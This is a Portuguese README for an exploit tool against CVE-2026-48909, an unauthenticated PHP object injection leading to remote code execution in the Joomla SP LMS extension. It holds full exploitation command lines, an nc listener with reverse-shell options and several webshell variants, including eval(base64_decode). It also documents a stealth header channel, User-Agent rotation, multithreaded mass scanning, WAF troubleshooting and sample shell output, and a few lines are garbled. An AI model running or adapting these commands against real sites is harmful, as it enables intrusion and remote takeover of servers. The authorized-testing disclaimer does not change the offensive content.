CVE-2026-48909 - Exploit de injeção de objetos PHP não autenticada para RCE na extensão SP LMS do Joomla, versões <= 4.1.3. Explora a desserialização do cookie lmsOrders para gravar um webshell por meio da cadeia de gadgets Joomla FormattedtextLogger. Inclui shell interativo, descoberta de caminhos e limpeza. Apenas para testes de segurança autorizados.
Ferramenta de prova de conceito para CVE-2026-48909
Autor: Sudeepa Wanigarathna
[!IMPORTANT] Uso autorizado apenas. Esta ferramenta destina-se a pesquisa em segurança, educação e teste de sistemas que você possui ou para os quais possui permissão explícita por escrito. O acesso não autorizado a sistemas informáticos é ilegal. O autor não assume qualquer responsabilidade por uso indevido.
CVE-2026-48909 é uma Injeção de Objeto PHP não autenticada crítica na extensão SP LMS do Joomla. Esta ferramenta implementa a cadeia de ataque completa para que profissionais de segurança possam validar o impacto em ambientes de laboratório ou autorizados.
Ela cobre detecção, descoberta de caminhos, entrega de payload, pós-exploração interativa (quando permitido), avaliação em massa e limpeza opcional.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2026-48909 |
| CVSS | 9.5 (Crítico) |
| Vetor de Ataque | Rede — não autenticado |
| Impacto | Execução Remota de Código |
| Produto Afetado | Joomla SP LMS |
| Versões Afetadas | 1.0.0 – 4.1.3 |
| Versão Corrigida | SP LMS 4.1.4+ |
| Cadeia de Gadgets | Requer Joomla < 5.2.2 |
| Componente | Versão | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | Vulnerável |
| SP LMS | ≥ 4.1.4 | Corrigido |
| Joomla | < 5.2.2 | Cadeia de gadgets utilizável |
| Joomla | ≥ 5.2.2 | Cadeia de gadgets corrigida |
| Capacidade | Descrição |
|---|---|
| Exploit não autenticado | Nenhuma credencial necessária |
| Múltiplos payloads | 7 variantes de webshell / execução |
| Shell interativo | Sessão com histórico de comandos após implantação |
| Descoberta de caminho | Sondagem automática de caminhos graváveis |
| Limpeza | Remove webshell implantado após os testes |
| Capacidade | Descrição |
|---|---|
| Varredura em massa | Listas de alvos com múltiplas threads (1000+) |
| Suporte a proxy | HTTP/SOCKS (Burp, ZAP, etc.) |
| Reverse shell | Payloads baseados em listener |
| Modo furtivo | Canais de comando via cabeçalho / POST |
| Randomização | Nomes de shell com UUID, rotação de User-Agent |
| Relatórios | Exportar como JSON, HTML ou CSV |
| Auxílios de detecção | Verificações de versão do Joomla, --check-only, --safe-mode |
cmd do Joomla quando possívelpipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparseacompanha a biblioteca padrão do Python; não precisa ser instalado via pip.
Substitua
https://target.examplepor um alvo de laboratório ou autorizado apenas.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# Listener
nc -lvnp 4444
# Host do exploit
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| Argumento | Descrição |
|---|---|
target | URL do alvo único |
--targets, -T FILE | Arquivo com alvos (uma URL por linha) |
--path PATH | Caminho absoluto no servidor para o webshell |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Nome do arquivo do webshell (padrão: x.php) |
| Argumento | Descrição |
|---|---|
--timeout SECONDS | Timeout da requisição (padrão: 15) |
--insecure | Ignorar verificação de certificado TLS |
--proxy URL | Ex.: http://127.0.0.1:8080 |
--random-ua | Rotacionar User-Agent (ativado por padrão) |
--delay SECONDS | Atraso entre requisições |
| Argumento | Descrição |
|---|---|
--reverse-host HOST | Host do listener |
--reverse-port PORT | Porta do listener |
| Argumento | Descrição |
|---|---|
--interactive, -i | Shell interativo após implantação |
--check-only | Apenas verificação de vulnerabilidade |
--safe-mode | Teste não destrutivo |
--find-path | Descobrir automaticamente caminho gravável |
--cmd COMMAND | Executar um comando e sair |
--cleanup PATH | Remover webshell no caminho |
--cleanup-after | Limpar após exploração |
| Argumento | Descrição |
|---|---|
--threads NUM | Threads de trabalho (padrão: 10) |
--export FILE | Caminho de saída para resultados |
--export-format FORMAT | json, html, csv (padrão: json) |
| Argumento | Descrição |
|---|---|
--log-file FILE | Escrever logs em arquivo |
--quiet, -q | Modo silencioso |
--verbose, -v | Saída detalhada |
--no-banner | Ocultar banner |
| Tipo | Comportamento | Uso típico |
|---|---|---|
minimal | Execução compacta via GET | Espaço apertado / teste rápido |
standard | GET + POST cmd (padrão) | Avaliações gerais |
stealth | Comando via cabeçalho X-Cmd | Reduzir logging de URL |
base64 | eval(base64_decode(...)) via POST | Laboratórios de evasão de filtros |
full | GET/POST + canal base64 | Controle mais amplo |
reverse | Shell de conexão reversa | Acesso persistente em laboratório |
blindshell | Padrão alternativo de inclusão / execução | Ambientes restritos |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["Cookie lmsOrders controlado pelo atacante"] --> B["unserialize() em cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — Drop PHP"]
D --> E["Webshell em disco"]
E --> F["Execução remota de comandos"]components/com_splms/models/cart.php desserializa um cookie lmsOrders decodificado em base64.Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() aciona uma escrita no sistema de arquivos./, =, +).O filtro cmd do Joomla pode remover /, =, e +. Esta ferramenta compensa:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| Sintoma | O que tentar |
|---|---|
| Não foi possível gerar payload seguro contra filtros | Diferente --path, ou --find-path; evite caracteres incomuns no caminho |
| Falha na verificação do shell | Aumente --timeout; tente --shell-type standard; confirme que system() / similar não está desabilitado; verifique permissão de escrita |
| Alvo não parece vulnerável | SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms presente; inspecione bloqueios de WAF |
| HTTP 500 | --insecure, --timeout 30, revise logs do servidor/aplicação |
| Conexão com proxy recusada | Confirme que o proxy está ouvindo; esquema de URL / host / porta corretos |
| Falha na verificação TLS | Adicione --insecure para endpoints de laboratório com certificados quebrados |
# Detalhado + log em arquivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# Através do Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# Não destrutivo primeiro
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # Ferramenta principal (v3.0)
├── requirements.txt # Dependências Python
├── README.md # Este arquivo
└── venv/ # Virtualenv local (opcional, não commitado)
Adições opcionais para um lançamento público:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
Este projeto é fornecido como está para pesquisa defensiva em segurança e testes de penetração autorizados.
Ao usar este software você concorda que:
Se você descobrir esta vulnerabilidade em produção, siga práticas de divulgação responsável e coordene com o fornecedor / CERT quando apropriado.
Sudeepa Wanigarathna
Pesquisador de segurança · Hacking ético · Pesquisa de vulnerabilidades · Ferramentas em Python
Para testes de segurança autorizados apenas.